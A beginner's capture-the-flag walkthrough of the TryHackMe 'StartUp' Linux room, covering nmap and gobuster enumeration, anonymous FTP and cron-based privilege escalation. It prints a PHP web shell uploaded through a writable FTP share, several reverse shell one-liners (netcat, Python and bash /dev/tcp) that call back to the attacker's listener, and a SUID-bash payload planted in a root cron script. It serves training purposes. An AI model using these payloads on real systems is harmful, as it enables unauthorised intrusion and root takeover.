17 minute read


Room Link: https://tryhackme.com/room/startup

StartUp is an easy rated linux room by r1gormort1s. Anonymous login was enabled on the ftp server which can also be accessed from the webserver, so php file was uploaded to get a shell on the box. On the box, a pcapng file was found which contained the credential for another user and at last cron job on the box was used to get a root shell.

Task 1 We are Spice Hut, a new startup company that just made it big! We offer a variety of spices and club sandwiches (incase you get hungry), but that is not why you are here. To be truthful, we aren’t sure if our developers know what they are doing and our security concerns are rising. We ask that you preform a thorough penetration test and try to own root. Good luck!

We are asked to perform a penetration test and given a IP address of a server. So our first step would be enumeration of the services running on the server. For that we have to scan for the open ports on the server. We can perform the scan using nmap. Nmap comes by default on most penetration testing distros. If you do not have nmap on your device, you can download from here. Nmap can be used to scan the device in many different ways. You can always check the manual page using man nmap and see the flags that nmap uses. I have also written for a article for scanning using nmap with practical examples.

Port Scan using nmap

Full port scan

local@local:~/Documents/tryhackme/startup$ nmap -p- --min-rate 10000 -oN nmap/allports -v
Host is up (0.49s latency).
Not shown: 62082 closed ports, 3450 filtered ports
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Nov  9 12:23:10 2020 -- 1 IP address (1 host up) scanned in 82.86 seconds

Flags used

  • -p- for full port range ( 1-65535)
  • –min-rate to specify the packet sending rate( this is used to speed up the scan as the full port scan takes a lot of time)
  • -oN nmap/allports ( save the output on file allports inside nmap directory in normal format)
  • -v is for verbosity

From the output we can see we have 3 ports open. FTP is running on port 21, SSH is running on port 22 and HTTP is running on port 80. Now we know what ports are open and what sevices they are running, we should move forward and enumerate the version of services. We can use nmap to enumerate version and also few scripts that are built inside the nmap.

Detail Scan

local@local:~/Documents/tryhackme/startup$ nmap -sC -sV -oN nmap/detail
Nmap scan report for
Host is up (0.37s latency).
Not shown: 996 closed ports
21/tcp   open  ftp       vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 09 06:39 ftp [NSE: writeable]
|_-rw-r--r--    1 0        0             208 Nov 09 02:12 notice.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 42:67:c9:25:f8:04:62:85:4c:00:c0:95:95:62:97:cf (RSA)
|   256 dd:97:11:35:74:2c:dd:e3:c1:75:26:b1:df:eb:a4:82 (ECDSA)
|_  256 27:72:6c:e1:2a:a5:5b:d2:6a:69:ca:f9:b9:82:2c:b9 (ED25519)
80/tcp   open  http      Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance
8000/tcp open  http-alt?
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.98 seconds

Flags Used

  • -sC is for running default scripts
  • -sV is for enumerating version

Analysing few outputs from nmap

Port Service Version Scripts Ran by nmap what that script does
21 FTP vsftpd 3.0.3 ftp-anon it checks if the ftp is configured for anonymous login
80 HTTP Apache httpd 2.4.18 http-title It extracts the title tag from the http server
22 SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.10    

It is always beneficial to know the versions of the running services. Now from the SSH version, we now know that the box we are trying to test is probably an ubuntu box. We can also know the exact version of the ubuntu by searching the OpenSSH version on the internet. Now that we know the versions of the services running, we can check the publicly available exploits for these sevices.


SearchSploit is an local copy of exploit-db. For installation process, check this page.

Checking for vsftpd 3.0.3

local@local:~/Documents/tryhackme/startup$ searchsploit vsftpd
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                |  Path
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption                                                                                | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)                                                                                | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)                                                                                | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service                                                                                                              | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                        | unix/remote/17491.rb
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

We know that version 2.* of vfstpd is vulnerable but not version starting from 3.*. You can do this process for all of the services. But in this case none of them have a publicly available exploit.

Lets revisit back to FTP as it has anonymous login enabled.


local@local:~/Documents/tryhackme/startup$ ftp                                                                                                        [19/19]
Connected to                                                              
220 (vsFTPd 3.0.3)                                                                      
Name ( anonymous
331 Please specify the password.                                                        
230 Login successful.             
Remote system type is UNIX.                                                             
Using binary mode to transfer files.  

With anonymous:anonymous as username:password, we log in.

Enumerating FTP service

ftp> dir -a           
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 65534    65534        4096 Nov 09 02:12 .
drwxr-xr-x    3 65534    65534        4096 Nov 09 02:12 ..
-rw-r--r--    1 0        0               5 Nov 09 02:12 .test.log
drwxrwxrwx    2 65534    65534        4096 Nov 09 02:12 ftp
-rw-r--r--    1 0        0             208 Nov 09 02:12 notice.txt
226 Directory send OK.                                                                  

dir -a is used to list all files and folders, even the hidden ones. As we can see few files and we can read them looking at the permission on the left side, lets download them to our box.

Downloading files from ftp

ftp> get notice.txt   
local: notice.txt remote: notice.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for notice.txt (208 bytes).
226 Transfer complete.
208 bytes received in 0.00 secs (3.6066 MB/s)
ftp> get .test.log                      
local: .test.log remote: .test.log
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .test.log (5 bytes).
226 Transfer complete.
5 bytes received in 0.01 secs (0.8265 kB/s)

We also have an ftp directory. Lets check out the content inside the ftp directory.

Contents of ftp directory

ftp> cd ftp                             
250 Directory successfully changed.
ftp> dir -a                       
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 65534    65534        4096 Nov 09 02:12 .
drwxr-xr-x    3 65534    65534        4096 Nov 09 02:12 ..
226 Directory send OK.

There seems to be nothing.

Contents of the downloaded files


local@local:~/Documents/tryhackme/startup$ cat notice.txt 
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.


local@local:~/Documents/tryhackme/startup$ cat .test.log 

We are on a dead end, as we didnot get anything on FTP. But we do have two other services running. As SSH doesnot have that much of an attack surface, lets enumerate the HTTP service.

HTTP service on Port 80


We can check for common files like robots.txt, index.php to check if the server supports php files and so on. I didnot find any success with these common files, so I decided to use gobuster for directory bruteforcing.


Check https://github.com/OJ/gobuster for installation if you dont have it already.

local@local:~/Documents/tryhackme/startup$ gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/11/09 13:25:01 Starting gobuster
/files (Status: 301)

Flags Used

  • -u to specify URL
  • -w to specify wordlist
  • -t for threads

And we get a hidden directory /files.

Checking /files


Well this looks interesting as this contains the files and folders from FTP service. If we have a write permission on that FTP server, we can upload a PHP script on the webserver.

Revisiting FTP

Content of shell.php

local@local:~/Documents/tryhackme/startup$ cat shell.php 
echo "hello";
echo system($_GET['cmd']);

Uploading the file to the FTP server

ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
50 bytes sent in 0.00 secs (542.5347 kB/s)

And the file is successfully written.

Checking the webserver

3 And the file is reflected there too. NICE!!!

Running commands on the system

local@local:~/Documents/tryhackme/startup$ curl
hellouid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)

And we get code execution. Now we can try and get a reverse shell, so that it would be easier to work with.

Getting a reverse shell

Reverse shell payloads

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9001 >/tmp/f

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash -i >& /dev/tcp/ 0>&1

These are the few reverse shell payloads. You can find plenty of them on the internet. Using a single one always might not work, so it is safer to test different ones.

Now we have to catch that reverse shell, so we open up a netcat listener on our box.

Netcat listener

local@local:~/Documents/tryhackme/startup$ nc -nvlp 9001
Listening on 9001

We have to replace the IP and ports with our own ip and ports address.

IP address

local@local:~/Documents/tryhackme/startup$ ifconfig tun0 | grep -i 'inet ' | awk -F' ' '{print $2}'

Execution with reverse shell payload

Lets use the first reverse shell payload

local@local:~/Documents/tryhackme/startup$ curl -G --data-urlencode 'cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9000 >/tmp/f'

But this didnot work. So, lets try the second one.

4 And if we check our netcat listener, we get a shell back.

local@local:~/Documents/tryhackme/startup$ nc -nvlp 9001
Listening on 9001
Connection received on 33628
/bin/sh: 0: can't access tty; job control turned off

Now this shell is a bit hard to work with as it is not interactive. It lacks using arrow keys, autocompletion, and using keys like CTRL+C to kill a process. So We have to make this session a interactive session.

Getting a proper TTY

Now lets get a proper shell with auto completion.

$ python3 -c "import pty;pty.spawn('/bin/bash')"

Hit CRTL+z to background the current process and on local box type

$:~ stty raw -echo

and type fg and hit enter twice and on the reverse shell export the TERM as xterm.

www-data@startup:/var/www/html/files/ftp$  export TERM=xterm

Now we have a proper shell.

Privilege Escalation

The first thing we can do is run scripts like linpeas or LinEnum to find out the potential privilege Escalation vectors. I personally like linpeas as it has coloring which makes life easier. As the box on THM doesnot have internet,we have to first download the script on our box, open up a python HTTP server and download on the remote box.

Download linpeas.sh

local@local:~/Documents/tryhackme/startup$ wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
--2020-11-09 13:49:58--  https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 297851 (291K) [text/plain]
Saving to: ‘linpeas.sh’

linpeas.sh                                  100%[===========================================================================================>] 290.87K   370KB/s    in 0.8s    

2020-11-09 13:49:59 (370 KB/s) - ‘linpeas.sh’ saved [297851/297851]

Serving the file using HTTP server

local@local:~/Documents/tryhackme/startup$ python3 -m http.server 
Serving HTTP on port 8000 ( ...

Downloading the file on the remote server

www-data@startup:/var/www/html/files/ftp$ wget
--2020-11-09 08:06:36--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 297851 (291K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                                  100%[===========================================================================================>] 290.87K  65.8KB/s    in 4.4s    

2020-11-09 08:06:41 (65.8 KB/s) - 'linpeas.sh' saved [297851/297851]

And lets run the script.

www-data@startup:/var/www/html/files/ftp$ bash linpeas.sh 
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
  RED/YELLOW: 95% a PE vector
  RED: You must take a look at it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMangeta: Your username

And as I said, it has the color coding scheme which makes our life easier. The YELLOW color means it is a 99% PE vector and red means you must look at it.

The output of the linpeas might be overwhelming at first but trust me you will know where to look and where to look for once you have done few of the rooms on tryhackme. If you are struggling with privilege escalation, you can check youtube channels of John Hammond or IppSec. They have a lot of amazing contents if you are just starting out on this field. I am also an beginner and have written writeups for few of the rooms of THM from the perspective of a beginner user, so you can check few of my writeups also.

Interesting findings on linpeas

[+] Unexpected folders in root                                                                                                                                                  

These are not standard folder on the linux root file system. So, lets check them out.


www-data@startup:/dev/shm$ ls -la /vagrant/
total 8
drwxr-xr-x  2 root root 4096 Nov  9 02:10 .
drwxr-xr-x 26 root root 4096 Nov  9 06:35 ..


www-data@startup:/dev/shm$ ls -la /data/
total 8
drwxr-xr-x  2 root root 4096 Nov  9 02:10 .
drwxr-xr-x 26 root root 4096 Nov  9 06:35 ..


www-data@startup:/dev/shm$ ls -la /incidents/
total 40
drwxr-xr-x  2 www-data www-data  4096 Nov  9 02:12 .
drwxr-xr-x 26 root     root      4096 Nov  9 06:35 ..
-rwxr-xr-x  1 www-data www-data 31224 Nov  9 02:12 suspicious.pcapng

We find a pcapng file on /incidents folder. Now to analyse the file,we have to download this file to our box and then we can use wireshark to check the content of this file. Check this for downloading and installation instruction.

Lets open up a python HTTP server on the remote box as we have done already and download the file from our machine.

Opening a HTTP server on the remote box

www-data@startup:/dev/shm$ cd /incidents/
www-data@startup:/incidents$ ls 
www-data@startup:/incidents$ python3 -m http.server
Serving HTTP on port 8000 ...

Downloading file on our box

local@local:~/Documents/tryhackme/startup$ wget
--2020-11-09 14:05:14--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 31224 (30K) [application/octet-stream]
Saving to: ‘suspicious.pcapng’

suspicious.pcapng                           100%[===========================================================================================>]  30.49K  42.9KB/s    in 0.7s    

2020-11-09 14:05:16 (42.9 KB/s) - ‘suspicious.pcapng’ saved [31224/31224]

Analysing with wireshark

local@local:~/Documents/tryhackme/startup$ wireshark suspicious.pcapng 

5 Lets check those TCP streams. 6

While checking out the different streams, I found something interesting which looks like a log of a reverse shell. 7

Few Content from that stream

www-data@startup:/$ cd home
cd home
www-data@startup:/home$ cd lennie
cd lennie
bash: cd: lennie: Permission denied
www-data@startup:/home$ ls
www-data@startup:/home$ cd lennie
cd lennie
bash: cd: lennie: Permission denied
www-data@startup:/home$ sudo -l
sudo -l
[sudo] password for www-data: c4n******sp1c3

Sorry, try again.
[sudo] password for www-data: 

Sorry, try again.
[sudo] password for www-data: c4nt******1c3

sudo: 3 incorrect password attempts

The attacker that was on the box, tried a password for www-data which seems to be the wrong one, but good thing for us is that we get a credential. So lets try this credential out with the users on the box.

Listing users on the box with shell

www-data@startup:/$ cat /etc/passwd | grep -i sh | grep -v ssh

We have two accounts, which have a login shell. So lets test the password with these two accounts.

logging as root

www-data@startup:/$ su -   
su: Authentication failure

loggin as vagrant

www-data@startup:/$ su vagrant
su: Authentication failure

But if we check the /home directory,we have a home directory for another user.

www-data@startup:/$ ls -la /home
total 12
drwxr-xr-x  3 root   root   4096 Nov  9 02:15 .
drwxr-xr-x 26 root   root   4096 Nov  9 06:35 ..
drwx------  4 lennie lennie 4096 Nov  9 08:15 lennie
www-data@startup:/$ cat /etc/passwd | grep -i lennie

User lennie does exist. So, lets try to login as lennie with the above password.

Shell as lennie

www-data@startup:/$ su lennie
lennie@startup:/$ id
uid=1002(lennie) gid=1002(lennie) groups=1002(lennie)

This time we successfully log in as lennie. Now that we have a permission of a new user on the box, it would be a good idea to run linpeas again to check what privileges that this new user has. I am not going to show that here though. Looking at the tags of the room, it is obvious that cron is running on the box but this information might not be avaiable for other rooms and we should check for crons as people like to automate things to make their life easier. Crons are the jobs that run on a specified time interval. So to find out the cron on this device, I will use another tool called pspy which is a process spy.

Downloading pspy on our local box

local@local:~/Documents/tryhackme/startup$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
--2020-11-09 14:20:14--  https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
Resolving github.com (github.com)...
Connecting to github.com (github.com)||:443... connected.
HTTP request sent, awaiting response... 302 Found
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                                      100%[===========================================================================================>]   2.94M  1.32MB/s    in 2.2s    

2020-11-09 14:20:19 (1.32 MB/s) - ‘pspy64’ saved [3078592/3078592]

Uploading file to the remote box

Since we have SSH credentials, we can upload files to the server using SCP.

local@local:~/Documents/tryhackme/startup$ scp pspy64 lennie@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:j+VHIxqK5RFkig3c+GTF5WuVuzBVGVEu1CcDeIQKeXo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
lennie@'s password: 

We have uploaded the file using to /dev/shm. I chose this folder because it is world writeable by all users.

Running pspy

lennie@startup:/$ cd /dev/shm
lennie@startup:/dev/shm$ chmod +x pspy64 
lennie@startup:/dev/shm$ ./pspy64 

I have made the file executable and ran it. Now we have to wait for the cron to run and the pspy will show the result.

Pspy results

2020/11/09 08:38:01 CMD: UID=0    PID=12033  | /bin/bash /home/lennie/scripts/planner.sh 
2020/11/09 08:38:01 CMD: UID=0    PID=12032  | /bin/sh -c /home/lennie/scripts/planner.sh 
2020/11/09 08:38:01 CMD: UID=0    PID=12031  | /usr/sbin/CRON -f                    
2020/11/09 08:38:01 CMD: UID=0    PID=12035  | /bin/bash /etc/print.sh                                                                                                          
2020/11/09 08:38:01 CMD: UID=0    PID=12036  | /bin/bash /etc/print.sh 
2020/11/09 08:39:01 CMD: UID=0    PID=12043  | /bin/bash /home/lennie/scripts/planner.sh 
2020/11/09 08:39:01 CMD: UID=0    PID=12049  | /bin/bash /etc/print.sh 

I have just shown the partial result of PSPY. Here we can see at time 8:38:01, a script called planner.sh is executed by root(UID=0) which is followed by few other scripts at the same time. And after just 1 min ie 8:39:01, the same file is executed. So we can tell that there is a cron running which is executing that script.

Checking the content of /home/lennie/scripts/planner.sh

lennie@startup:~/scripts$ ls -la
total 16
drwxr-xr-x 2 root   root   4096 Nov  9 02:13 .
drwx------ 5 lennie lennie 4096 Nov  9 08:36 ..
-rwxr-xr-x 1 root   root     77 Nov  9 02:12 planner.sh
-rw-r--r-- 1 root   root      1 Nov  9 08:42 startup_list.txt
lennie@startup:~/scripts$ cat planner.sh 
echo $LIST > /home/lennie/scripts/startup_list.txt

If we look at the file permission of planner.sh, we can read it but we cannot change it. If we could have write permission on that file, we could have executed any commands we like as root. Looking at the content of that file, it also executes a second file. ie /etc/print.sh.

FIle permission of /etc/print.sh

lennie@startup:~/scripts$ ls -la /etc/print.sh 
-rwx------ 1 lennie lennie 69 Nov  9 07:00 /etc/print.sh

Looking at the file permission, user lennie can write to this file. So, we can now execute commands as root, all we have to do is to modify the script with the code we want to execute. We obviously want to be root on the system. We can achive that with different techniques. Here I am going to make a SUID binary.

New content of /etc/print.sh

lennie@startup:~/scripts$ cat /etc/print.sh 
echo "Done!"
cp /bin/bash /tmp/bash
chmod 4755 /tmp/bash

Here I have copied the usual /bin/bash binary to /tmp and set the SUID bit on it, so that when we execute it we have the effective permission of a root user. Now we just have to wait for the cron to execute the script.

Checking if the file exists

lennie@startup:~/scripts$ ls -la /tmp/bash
-rwsr-xr-x 1 root root 1037528 Nov  9 08:49 /tmp/bash

The file exists and it is own by root with SUID bit set.

Getting a root shell

lennie@startup:~/scripts$ /tmp/bash -p
bash-4.3# id
uid=1002(lennie) gid=1002(lennie) euid=0(root) groups=1002(lennie)

-p flag should be used while executing the binary. Without it, the permissions will be dropped from root user to normal user. And we can see that our effective UID(euid) is 0 which means root.

Reading root flag

bash-4.3# cat /root/root.txt